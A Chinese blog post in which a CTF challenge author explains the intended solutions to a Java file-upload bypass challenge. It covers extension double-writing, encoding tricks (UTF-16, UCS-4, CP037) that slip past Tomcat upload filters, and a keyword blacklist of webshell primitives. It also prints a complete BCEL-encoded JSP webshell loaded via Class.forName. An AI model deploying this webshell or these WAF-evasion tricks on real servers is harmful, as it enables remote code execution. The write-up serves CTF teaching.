L3HCTF bypass出题人视角

@yzddmr6

自己在L3HCTF中出了一道java上传绕过题目bypass。其中题目中的一些trick不仅仅是用于CTF出题,对于实战渗透也是有一定的帮助。今天跟大家分享一下出题时的一些思考跟解题细节。

题目有三道过滤

1. 绕过后缀

public static String checkExt(String ext) {
        ext = ext.toLowerCase();

        String[] blackExtList = {
                "jsp", "jspx"
        };
        for (String blackExt : blackExtList) {
            if (ext.contains(blackExt)) {
                ext = ext.replace(blackExt, "");
            }
        }

        return ext;
    }

后缀jsp/jspx会被替换为空,用双写绕过:jsjspp。常规操作

2. 绕过可见字符检测

第二阶段题目中直接用getString获取FileItem的内容,然后传入了checkValidChars函数检测。checkValidChars函数主要功能是检测content中是否存在连着两个以上的字母数字,如果匹配成功则提示上传失败。

String content = item.getString();
boolean check = checkValidChars(content);
...
    public static boolean checkValidChars(String content) {
        Pattern pattern = Pattern.compile("[a-zA-Z0-9]{2,}");
        Matcher matcher = pattern.matcher(content);
        return matcher.find();
    }

这里其实是模拟了一个WAF的场景,因为很多WAF对于文件上传都会有很粗暴的拦截,碰到jsp标签就给干死。

乍一看似乎并不可能被绕过,因为只要连着两个字母数字就会被检测到,让人不由得想起了CTF经典题目《php无字母数字webshell》。但是java不像php一样支持变量函数,需要从其他地方下手。

这里就用到了一个trick:FileItem.getString()对于编码的解析跟Tomcat解析jsp是有差异的,默认为ISO-8859-1

public String getString() {
    byte[] rawdata = this.get();
    String charset = this.getCharSet();
    if (charset == null) {
        charset = "ISO-8859-1";
    }

    try {
        return new String(rawdata, charset);
    } catch (UnsupportedEncodingException var4) {
        return new String(rawdata);
    }
}

而Tomcat对于jsp编码的解析主要在org.apache.jasper.compiler.EncodingDetector这个类,其中有很多默认用ISO-8859-1无法直接解析的编码。

private EncodingDetector.BomResult parseBom(byte[] b4, int count) {
        if (count < 2) {
            return new EncodingDetector.BomResult("UTF-8", 0);
        } else {
            int b0 = b4[0] & 255;
            int b1 = b4[1] & 255;
            if (b0 == 254 && b1 == 255) {
                return new EncodingDetector.BomResult("UTF-16BE", 2);
            } else if (b0 == 255 && b1 == 254) {
                return new EncodingDetector.BomResult("UTF-16LE", 2);
            } else if (count < 3) {
                return new EncodingDetector.BomResult("UTF-8", 0);
            } else {
                int b2 = b4[2] & 255;
                if (b0 == 239 && b1 == 187 && b2 == 191) {
                    return new EncodingDetector.BomResult("UTF-8", 3);
                } else if (count < 4) {
                    return new EncodingDetector.BomResult("UTF-8", 0);
                } else {
                    int b3 = b4[3] & 255;
                    if (b0 == 0 && b1 == 0 && b2 == 0 && b3 == 60) {
                        return new EncodingDetector.BomResult("ISO-10646-UCS-4", 0);
                    } else if (b0 == 60 && b1 == 0 && b2 == 0 && b3 == 0) {
                        return new EncodingDetector.BomResult("ISO-10646-UCS-4", 0);
                    } else if (b0 == 0 && b1 == 0 && b2 == 60 && b3 == 0) {
                        return new EncodingDetector.BomResult("ISO-10646-UCS-4", 0);
                    } else if (b0 == 0 && b1 == 60 && b2 == 0 && b3 == 0) {
                        return new EncodingDetector.BomResult("ISO-10646-UCS-4", 0);
                    } else if (b0 == 0 && b1 == 60 && b2 == 0 && b3 == 63) {
                        return new EncodingDetector.BomResult("UTF-16BE", 0);
                    } else if (b0 == 60 && b1 == 0 && b2 == 63 && b3 == 0) {
                        return new EncodingDetector.BomResult("UTF-16LE", 0);
                    } else {
                        return b0 == 76 && b1 == 111 && b2 == 167 && b3 == 148 ? new EncodingDetector.BomResult("CP037", 0) : new EncodingDetector.BomResult("UTF-8", 0);
                    }
                }
            }
        }
    }

利用两者对于编码的识别结果不同,从而造成解析差异,进行绕过。

在看到的wp中基本都是利用UTF-16绕过,但是从函数中可以看到,Tomcat还支持另一些不常见编码,如UCS-4和CP037。这两种编码比较少见,并且部分后端语言是不支持直接解析的。

image
image

也就是说,如果遇到WAF或者webshell检测引擎,在文件上传时非常粗暴的检测了jsp的标签,利用特殊的编码即可造成降维打击,随便绕过。

3. 绕过黑名单检测

 String[] blackWordsList = {
                //危险关键字
                "newInstance", "Runtime", "invoke", "ProcessBuilder", "loadClass", "ScriptEngine",
                "setAccessible", "JdbcRowSetImpl", "ELProcessor", "ELManager", "TemplatesImpl", "lookup",
                "readObject","defineClass",
                //写文件
                "File", "Writer", "Stream", "commons",
                //request
                "request", "Request",
                //特殊编码也处理一下
                "\\u", "CDATA", "&#"
                //这下总安全了吧
        };

这里也是比较有意思的一步,模拟了一个端上暴力webshell查杀引擎。

常见的webshell关键字都会被拦截,其他的一些编码如unicode,html实体,cdata拆分也都加了关键字。并且加了文件类关键字,防止二次写文件进行绕过。甚至拦截了request对象,禁止直接传入参数。

题目的定位为开放性题目,其实绕过的办法很多。看到很多wp都是利用远程加载class或者jar来完成rce:

https://www.anquanke.com/post/id/259487

https://y4tacker.blog.csdn.net/article/details/121363886

当时为了降低题目难度,环境没有设置不出网,并且jdk也是比较低的版本。那么如果题目设置了不出网环境又该怎么利用呢?

在这里提一种不出网也可利用的姿势,利用bcel ClassLoader绕过。

以三梦的github项目为例:JSP-Webshells/1.jsp at master · threedr3am/JSP-Webshells (github.com)

bcel字节码webshell的原理在于com.sun.org.apache.bcel.internal.util.ClassLoader在loadClass的时候会解析并加载bcel字节码。但是题目中把loadClass以及newInstance关键字都给封禁了。

那么问题就变成了如何触发loadClass方法

实际上Class.forName在查找类的时候,如果使用了三个参数的重载方法使用自定义类加载器,就会调用其类加载器的loadClass方法。

仅仅从源码看不出来这一点,forName0经过了一层native方法。下个断点从堆栈里可以看到这一过程。

image

具体实现如下:

<%
    Class.forName("$BCEL$$l$8b$I$A$A$A$A$A$A$AmQ$dbn$d3$40$Q$3d$h$3b$b1$T$i$d2$a6$84K$a0$c1$bd$Q$92$40$e3$G$nU$a8U$5e$Q$95$Q$E$b8$w$8aP$l6$ee$w$dd$e2$da$91$b3$a9$faG$3c$f7$a5$m$q$f8$A$3e$K1kB$b9$ee$c3$cc$ce$99sf$8e$d7_$bf$7d$fa$C$e01$k$96p$F$f5$Sn$e3$8e$85E$h$N$hwm$b8$gX$b2$b0$5c$82$8d$V$L$ab$W$ee1$U$b6d$yU$9f$c1h$b5$f7$Z$cc$a7$c9$a1$60$a8$f82$W$_$a7$tC$91$ee$f1aDH$d5OB$k$ed$f3T$eaz$G$9a$eaHN$Y$8a$feH$a8$ed$88$8f6$Z$ec$ad0$9aMd$c4$a8$f9$c7$fc$94$7b2$f1$9e$ef$3e$3b$L$c5X$c9$q$sZ9P$3c$7c$b7$c3$c7$d9$q2$c5P$K$92i$g$8am$a9$t$3b$b3$89$5d$zw$e0$a0l$a1$e9$e0$3eZ$Ms$d9$c8$88$c7$p$_P$a9$8cG$e4$c0$h$ca$d8$h$f2$c9$RCn$zdh$e9$bb$bb$s$dd$7e$d3$f5$O$c5$a9$a7$c2$b1$d7$dbx$d4$edmt$d7$bb$3d$ef$J$jw$bd$df$ec9h$a3$c3$b0$f0$l$9b$O$k$a0$cc$60$cd$ac$fc$b1xwx$yB$c50$ff$Lz$3d$8d$95$3c$n$ef$r$S$5c$W$b5V$db$ff$87C$P$60$8a3$a1$7d$b6$de$fa$7f$7f$ce$e6$ef$8aWi$S$8a$c9$84$U$9515U$f6n$7b$v$P$F$96$a0$ff$b3$3e90$fdD$U$afR$e5Qf$94$f3$9d$P$60$e7Y$bbB$b1$90$81$G$e6$u$3a$3f$I$98G$95$b2$8d$85KqJ$a8$ee$ad$7cD$ae$f0$Z$c6$c0$a8$9a$c1$c0$ac$e6$83A$beZ$I$$60$bdy$P$fbE$e7$C$c5$f3$8cX$c7$o$N0$b2$V$d7I$ac$X$d5Q$q$d4B$83$3a$cb$e4$f2$e7$ca$GL$5cC$zc$82$fa$b9$D$L7Lj$dc$cc$5c$de$fa$O$S$V$ac$c8$c2$C$A$A",true, new com.sun.org.apache.bcel.internal.util.ClassLoader());

%>

其中bcel字节码生成的代码可以参考三梦师傅的项目:https://github.com/threedr3am/JSP-Webshells/blob/master/jsp/1/BcelEvil.java

另外,黑名单中小写的lookup并不是非预期,原本的方法确实是小写。

image

绕过是因为很多师傅找到了另一个重载方法doLookup,这是其中的一个预期解。

image

很多人没有注意到这个静态方法。因为目前几乎所有jndi注入文章都说到的是第一个点lookup,而doLookup这个触发点需要翻看源码才能找到。

此题目为开放性题目,姿势很多。出题的本意就是想看看大家在遇到市面上大部分姿势都被ban掉的情况下会构造出什么有意思的绕过。

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 212,332评论 6 493
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,508评论 3 385
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 157,812评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,607评论 1 284
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,728评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,919评论 1 290
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,071评论 3 410
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,802评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,256评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,576评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,712评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,389评论 4 332
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,032评论 3 316
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,798评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,026评论 1 266
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,473评论 2 360
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,606评论 2 350

推荐阅读更多精彩内容

  • 原文地址:https://yzddmr6.tk/posts/webshell-bypass-jsp/ 本文已授权悬...
    yzddMr6阅读 9,563评论 0 5
  • p牛参与的项目vulhub,对于web安全从事人员而言应该说是宝库般的存在。里面许多的漏洞都是值得一一去学习的。在...
    byc_404阅读 1,917评论 0 3
  • 1.信息收集 确认os centos/ub/ 确认CMS:THINKPHP&struct2/等 常见漏洞类型: 2...
    查无此人asdasd阅读 925评论 0 1
  • 1.拿到一个待检测的站,你觉得应该先做什么? 收集信息 whois、网站源IP、旁站、C段网站、服务器系统版本、容...
    FKTX阅读 1,711评论 0 0
  • 我使用的是火狐浏览器 使用火狐浏览器的hackbar插件 如果有错误的地方希望大家多多指出,多谢多谢 WEB2 点...
    yangc随想阅读 54,257评论 11 16